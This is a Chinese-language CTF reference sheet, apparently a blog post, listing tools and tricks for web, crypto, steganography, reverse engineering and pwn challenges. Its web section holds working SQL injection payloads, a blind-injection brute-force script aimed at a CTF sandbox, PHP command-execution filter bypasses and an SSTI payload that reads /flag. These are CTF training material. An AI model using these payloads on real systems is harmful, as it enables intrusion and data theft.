[持续更新] CTF 红宝书 by 时光不改

本篇文章整理了在做CTF练习过程中的各种利用工具和思路,方便自己查找和同样玩CTF的朋友查看。

 

WEB 

sqlmap

123313 union select 1,2#
123313 union select 1,database()#
123313 union select 1,group_concat(table_name) from information_schema.tables where table_schema="sqli"#
123313 union select 1,group_concat(column_name) from information_schema.columns where table_name="flag"#
123313 union select 1,flag from sqli.flag#
普通手工注入

 

报错注入

 

import string
import requests

name = ''
strall = string.ascii_lowercase + string.digits + string.punctuation
# for k in range(1,15):
for j in range(1,50):
    for i in strall:
        # 查数据库名
        # datas = "if(substr(database(),%d,1)='%s',1,(select table_name from information_schema.tables))"% (j,i)
        # 查表名
        # datas = "if(substr((select table_name from information_schema.tables where table_schema='sqli' limit %d,1),%d,1) = '%s',1,(select table_name from information_schema.tables))" %(k,j,i)
        # 查列名
        # datas = "if(substr((select column_name from information_schema.columns where table_name='zqjsjpvifa' and table_schema='sqli'),%d,1) = '%s',1,(select table_name from information_schema.tables))" %(j,i)
        # 查内容
        # datas = "if(substr((select wdiqllcsoi from sqli.zqjsjpvifa),%d,1) = '%s',1,(select table_name from information_schema.tables))" %(j,i)
        re = requests.get('http://challenge-0c37e62039a49553.sandbox.ctfhub.com:10080/?id='+datas)
        html = re.text
        # print(html)
        if "ctfhub" in html:
            name += i
            print(name)
            break
布尔盲注

 

时间盲注

 

黑名单绕过思路

 SQL

0×01:进制转换
1.二进制 0b1111101000
2.十六进制 0x38e
0×02:字节操作
1.l两次取反 ~~1000
2.异或 200^800
3,按位与 992|8
0×03:运算符
1.乘法 200*5
2.除法 10/0.01
3.减法 200--800
4.负负 --1000
5.加法 200+800(地址栏输入的话把+换成%2b)
0×04:sql注入构造
id=1 or 1=1#
id=id#
0×05:绕过函数
intval(\$id)会从字符串\$id的起始位置开始去数字碰到非数字就结束,当起始位置为非数字时则为0。
比如
intval(‘100a123’)=100
intval(‘a123’)=0
使用字符串绕过intval函数,单引号,双引号,括号
(1000)
'1000'

 命令执行

preg_match("/system|exec|highlight/i",$c)
?c=highlight_file('config.php'); 
?c=System('tac config.php‘);

!preg_match("/system|exec|highlight/i",$c)
?c=$a='sys';$b='tem';$d=$a.$b;$d('cat config.php');

!preg_match("/system|exec|highlight|cat/i",$c)
?c=$a='sys';$b='tem';$d=$a.$b;$d("tac config.php");
system('ca""t config.php')  system("ca''t config.php")
linux有很多类似于cat的方法 tacmorelessheadtailnlsedsortuniq.
当然我们也可以单引号或者双引号或者反斜杠绕过cat
比如 ca’'t config.php ca"t config.php ca\t config.php,因为是以字符串的形式,所以用单引号还是双引号则要看你外层用的哪种了
php有很多的命令执行函数,因为题中禁用了其中几个,我们还可以使用其他的
常见的系统命令执行函数

system(),passthru(),exec(),shell_exec(),popen(),proc_open(),pcntl_exec()
在linux中反引号的作用就是将反引号内的Linux命令先执行,然后将执行结果赋予变量。
c=passthru("ca''t `ls`");
c=$a = base64_decode('c3lzdGVt');$b=base64_decode('Y2F0IGNvbmZpZy5waHA=');$a($b);

这次的过滤中增加了分号这样我们就只能执行一条语句了,在eval()中的是php语句,分号禁了,我们只能用 ?>来闭合语句了
assert()会检查指定的 assertion 并在结果为 FALSE 时采取适当的响应。如果assertion是字符串,它将会被assert()当做 PHP 代码来执行,assert中 的字符串可以没有分号
c=passthru("ca''t `ls`")?>
c=assert(base64_decode(%27c3lzdGVtKCdjYXQgY29uZmlnLnBocCcp%27))?>

?c=echo `$_POST[1]`?>
然后再post传入 1=cat config.php

?c=echo `$_POST[1]`;
然后再post传入 1=cat config.php

 

 

抓包工具  Burp  hackbar

Fuzz字典 

https://github.com/TheKingOfDuck/fuzzDicts

https://github.com/1N3/IntruderPayloads

Git泄露

https://github.com/denny0223/scrabble

https://github.com/BugScanTeam/GitHack

https://github.com/WangWen-Albert/JGitHack

https://github.com/gakki429/Git_Extract

https://github.com/WangYihang/GitHacker

 

git 操作
git log -reflog 用来记录你的每一次命令
git reset --hard xxxx 回退到某一个版本
git reset --hard HEAD^ 回退到上一个版本
git diff HEAD commit-id 比较版本变化

 

.DS_store泄露  https://github.com/lijiejie/ds_store_exp

http://java-decompiler.github.io/  java 反编译 

反序列化  https://www.w3cschool.cn/tools/index?name=unserialize

https://www.exploit-db.com/       搜tp

ssti  试试{{config}}有回显,直接打个python3的payload试试

{{().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__['open']('/flag').read()}}

PHP弱类型比较

jwt 攻击  https://www.freebuf.com/vuls/219056.html  https://github.com/brendan-rius/c-jwt-cracker  https://jwt.io

 

 

加密

rsa

在线分解大素数  http://www.factordb.com/index.php

Python的gmpy2、libnum包

RSATools

CTF-RSA-tool

其他加解密

密码分析脚本  https://github.com/jameslyons/python_cryptanalysis

wolfram  用于各类密码算法分析的在线工具

MD5解密  https://www.somd5.com/  https://cmd5.com/

quipqiup  自动密码求解器

栅栏加密  https://www.qqxiuzi.cn/bianma/zhalanmima.php

凯撒密码  https://www.qqxiuzi.cn/bianma/kaisamima.php

猪圈密码解密 http://www.metools.info/code/c90.html

培根密码  https://tool.bugku.com/peigen/

埃特巴什码(Atbash Cipher)  猜测uozt对应flag,u-f,o-l,z-a,t-g

Rabbit解密  http://www.jsons.cn/rabbitencrypt/  U2FsdGVkX19mGsGlfI3nciNVpWZZRqZO2PYjJ1ZQuRqoiknyHSWeQv8ol0uRZP94MqeD2xz+

Rabin加密 

Rabin

rot13

Quoted-printable编码  http://web.chacuo.net/charsetquotedprintable  =E7=94=A8=E4=BD=A0=E9

JSFuck  ()+[]! ,或是在console直接运行

Brainfuck/Ook

jjencode与aaencode解密     

$=~[];$={___:++$,$$$$:   
゚ω゚ノ= /`m´)ノ ~┻━┻ / ['_']; o=(゚ー゚) =_=3; c=(゚Θ゚) 锞熚橈緹锞�=(锞熜旓緹+ 锞燂桨锞� 需火狐转码

serpent加密  http://serpent.online-domain-tools.com/  ~v嗆i3でmK?+佣?"

escape加密  http://tool.chinaz.com/Tools/escape.aspx  !9]DXSad<4!:go7XC3xE>=B]\3]F.k$+2.

base16解密  https://www.qqxiuzi.cn/bianma/base.php?type=16  666C61677B495F4C4F56455F3336447D

base92加密  http://ctf.ssleye.com/base92.html

 

 

杂项

http://www.efittech.com/hxdec.html  识别汉信码

http://code.mcdvisa.com/  中文电码

angr fuzz  angr安装

1.安装依赖(基本开发环境):
sudo apt-get install python-dev libffi-dev build-essential virtualenvwrapper
 
2.virtualenvwrapper初始化:
首先设置一个环境变量WORKON_HOME
export WORKON_HOME=$HOME/Python-workhome
这里的$HOME/Python-workhome就是准备放置虚拟环境的地址
 
启动virtualenvwrapper.sh脚本
source /usr/share/virtualenvwrapper/virtualenvwrapper.sh
注意:可以使用whereis virtualenvwrapper.sh命令查看脚本的位置
 
3.在python3的环境下安装angr:
mkvirtualenv --python=$(which python3) angr && pip install angr
 
4.安装好后在其他的命令在一个新的终端窗口直接运行workon,并没有创建的angr虚拟环境,需要执行下面两条命令才可以:
export WORKON_HOME=$HOME/Python-workhome
source /usr/share/virtualenvwrapper/virtualenvwrapper.sh
可以写一个shell脚本包含两条命令,以后直接运行shell脚本即可。

virtualenvwrapper操作命令: 
 
创建环境 
mkvirtualenv env1  
环境创建之后,会自动进入该目录,并激活该环境。

切换或进入环境 
workon env1 

列出已有环境 
workon 

退出环境 
deactivate 

删除环境 
rmvirtualenv
angr安装
1
import angr

p = angr.Project('martricks',auto_load_libs=False)
state = p.factory.entry_state()
simg = p.factory.simgr(state)
simg.explore(find=0x400A84,avoid=0x400A90)
simg.found[0].posix.dumps(0)

2
import angr

p = angr.Project("martricks")
simgr = p.factory.simulation_manager(p.factory.full_init_state())
simgr.explore(find=0x400A84, avoid=0x400A90)
simgr.found[0].posix.dumps(0)
fuzz代码

ASCII 在线转换器

生成红黑树

https://gchq.github.io/CyberChef/  编码转换工具

CaptfEncoder  编码转换工具  https://github.com/guyoung/CaptfEncoder/releases

DAPR  密码破解

DAPR

 

新约佛论禅/佛曰  http://hi.pcmoe.net/buddha.html

与佛论禅  http://www.keyfc.net/bbs/tools/tudoucode.aspx

CTF在线工具   http://ctf.ssleye.com/

盲水印隐写  https://github.com/chishaxie/BlindWaterMark        python bwm.py decode 1.png 2.png flag.png(图片必须在py目录下…)

扫码  https://online-barcode-reader.inliteresearch.com/

数据包修复  http://f00l.de/hacking/pcapfix.php

音频提取数字号码  dtmf2num.exe

进制转换  https://tool.lu/hexconvert/

16进制转字符串  https://www.bejson.com/convert/ox2str/

汉字编码  田 0 由 1 中 2 人 3 工 4 大 5 王 6 夫 7 井 8 羊 9

十二星座的符号,联想到十二进制,分别对应 0123456789ab

白羊座 ♈ U+2648(3月21日 - 4月20日)
金牛座 ♉ U+2649(4月21日 - 5月21日)
双子座 ♊ U+264A(5月22日 - 6月21日)
巨蟹座 ♋ U+264B(6月22日 - 7月22日)
狮子座 ♌ U+264C(7月23日 - 8月22日)
处女座 ♍ U+264D(8月23日 - 9月22日)
天秤座 ♎ U+264E(9月23日 - 10月23日)
天蝎座 ♏ U+264F(10月24日 - 11月22日)
射手座 ♐ U+2650(11月23日 - 12月21日)
摩羯座 ♑ U+2651(12月22日 - 1月20日)
水瓶座 ♒ U+2652(1月21日 - 2月19日)
双鱼座 ♓ U+2653(2月20日 - 3月20日)
星座编码

马赛克还原  https://github.com/beurtschipper/Depix

 

                                     

 

               

 

 

 

隐写

binwalk -e  用于搜索给定二进制镜像文件以获取嵌入的文件和代码的工具

dd if=隐写文件 of=输出文件 skip=偏移 bs=1

foremost  用来文件还原分离

Steghide  将文件隐藏到图片或音频中的工具

安装
apt-get install steghide

隐藏文件
steghide embed -cf [图片文件载体] -ef [待隐藏文件]
steghide embed -cf 1.jpg -ef 1.txt

查看图片中嵌入的文件信息
steghide info 1.jpg

提取图片中隐藏的文件
steghide extract -sf 1.jpg
steghide

LSB-Steganography  LSB隐写  https://github.com/RobinDavid/LSB-Steganography

Usage
LSBSteg.py

Usage:
  LSBSteg.py encode -i <input> -o <output> -f <file>
  LSBSteg.py decode -i <input> -o <output>

Options:
  -h, --help                Show this help
  --version                 Show the version
  -f,--file=<file>          File to hide
  -i,--in=<input>           Input image (carrier)
  -o,--out=<output>         Output image (or extracted file)
LSB-Steganography

stegsolve  图片隐写查看器   http://www.caesum.com/handbook/Stegsolve.jar

stegdetect  自动化数字图像隐写分析工具

jphide

检测该图片用的是哪种加密方式
stegdetect.exe -tjopi -s 10.0 hide.jpg

用stegdetect下的stegbreak字典破解,同样图片和stegbreak.exe在同一目录下
stegbreak.exe -r rules.ini -f password.txt -r p hide.jpg

使用jphide下的工具JPHS从hide.jpg图片提取出隐藏信息

 

snow html隐写  http://fog.misty.com/perry/ccs/snow/snow/snow.html

snow 是一款在html嵌入隐写信息的软件,
它的原理是通过在文本文件的末尾嵌入空格和制表位的方式嵌入隐藏信息,
不同空格与制表位的组合代表不同的嵌入信息。
snow

ezgif  GIF 在线分帧工具

Audacity  一款免费的音频处理软件,常用于音频隐写

MP3Stego  音频隐写工具

MSU StegoVideo  AVI 视频隐写

F5-steganography  F5隐写

pngcheck  检查PNG图片数据段的工具

wbs43open  PDF隐写

宽字节隐写  https://offdev.net/demos/zwsp-steg-js

视频隐写  ffmpeg -i 里面都是出题人.avi  -f image2 image-%05d.jpg

Steghide  一个命令行实用程序,可帮助我们隐藏图像或音频文件中的机密数据,它支持JPEG、BMP、WAV和AU文件。

$ sudo apt install steghide

现在,你可以将机密文件隐藏在图像或音频中,如下所示,我假设你已将要加密的机密文件和图像或音频文件放在同一文件夹中,如果将它们放在不同的文件夹中,则需要在以下命令中提供完整路径:

$ steghide embed -ef secret.txt -cf ostechnix.jpg

系统会要求你输入密码:

Enter passphrase: 

Re-Enter passphrase: 

embedding "secret.txt" in "ostechnix.jpg"... done

在上面的示例中,我将名为secret.txt的文本文件嵌入到名为ostechnix.jpg的图像文件中,你现在可以删除原始的secret.txt文件,因为,我们只是嵌入了一个图像文件,如果要嵌入多个文件,请将它们放在一个文件夹中并压缩,然后按上述方法隐藏它。

要从图像中提取秘密文件,只需运行:

$ steghide extract -sf ostechnix.jpg

输入密码以将其解压缩:

Enter passphrase: 

wrote extracted data to "secret.txt".
安装和使用Steghide的方法

Outguess  一个命令行stegnographic工具,用于隐藏图像中的机密文件,目前,它支持PPM、PNM和JPEG图像格式。

$ sudo apt install outguess

安装后,转到保存机密文件和图像的位置,然后使用以下命令将机密文件嵌入到图像中:

$ outguess -d secret.txt ostechnix.jpg output.jpg

这里,output.jpg文件是包含我们的机密数据文件的文件,保持安全并删除其他所有内容。

你还可以将密码短语添加到输出文件中,如下所示:

$ outguess -k "my secret key:ywnz" -d secret.txt ostechnix.jpg output.jpg

用你自己的密码替换“my secret key:ywnz”。

要提取文件,只需执行以下操作:

$ outguess -r output.jpg secret.txt

如果你使用了密码,则使用此命令:

$ outguess -k "my secret key:ywnz" -r output.jpg secret.txt
安装和使用Outguess的方法

 wav隐写

wav隐写-Audacity--silenteye
1)-打开wav文件,Audacity-效果-反向-播放
2)-Audacity-文件名-频谱图
3)-声道里面夹杂着莫斯密码,短的代表’.’,长的代表’-4)-Audacity-频谱图-attach-点击频谱-然后点击修改spectrogram setting,把8000改为48000
5)-电话音分析(http://dialabc.com/sound/detect/)

 

 

逆向

QEMU full-system

EXE

IDA Pro 一款功能丰富的跨平台多处理器反汇编程序和调试器

IDA_Pro_7.2

OD

Ghidra

Detect It Easy

 

Android/APP

jadx-gui  Android/Java反编译

JEB  Android逆向工具,可以反编译和调试二进制代码

jd-gui  将 class 文件反编译为 Java 源代码

Apktool  主要用于逆向 apk 文件。它可以将资源解码,并在修改后可以重新构建它们。

ApkIDE  

dex2jar

 

.NET

dnSpy  一款.NET程序调试器和反编译器

 

IOS

Frida 12.7.22    https://frida.re

HopperDisassembler v4   https://www.hopperapp.com

iOS13.3.1  checkra1n越狱   https://checkra.in

sslkill switch  https://github.com/nabla-c0d3/ssl-kill-switch2

 

PWN

 

gdb linux程序动态调试  apt-get install gdb

gdb-peda  gdb调试工具

gdb-peda安装

objdump和readelf  快速查看二进制文件信息的工具

pwntools  PWN工具集,写exp和poc的工具  pip install pwntools  http://docs.pwntools.com/en/stable/

checksec  检查保护机制   apt-get install checksec

ROPgadget  找ROP链接  https://github.com/JonathanSalwan/ROPgadget.git

one_gadge    thttps://github.com/david942j/one_gadget  gem install one_gadget

LibcSearcher  泄露libc版本  (GitHub下载极慢,gitee)

安装
git clone https://github.com/lieanu/LibcSearcher.git
cd LibcSearcher
python setup.py develop
LibcSearcher

libc-database  https://github.com/niklasb/libc-database

DynELF  查到libc的版本

集合安装 apt-get install nasm gdb gcc binutils hexedit

CTF-pwn-tips  https://github.com/Naetw/CTF-pwn-tips

格式化字符串漏洞检测  https://github.com/L4ys/LazyIDA 

 

综合

 

https://www.ctftools.com/  CTFTools

 

 

 

 

posted @ 2020-05-08 17:49  时光不改  阅读(3064)  评论(0编辑  收藏  举报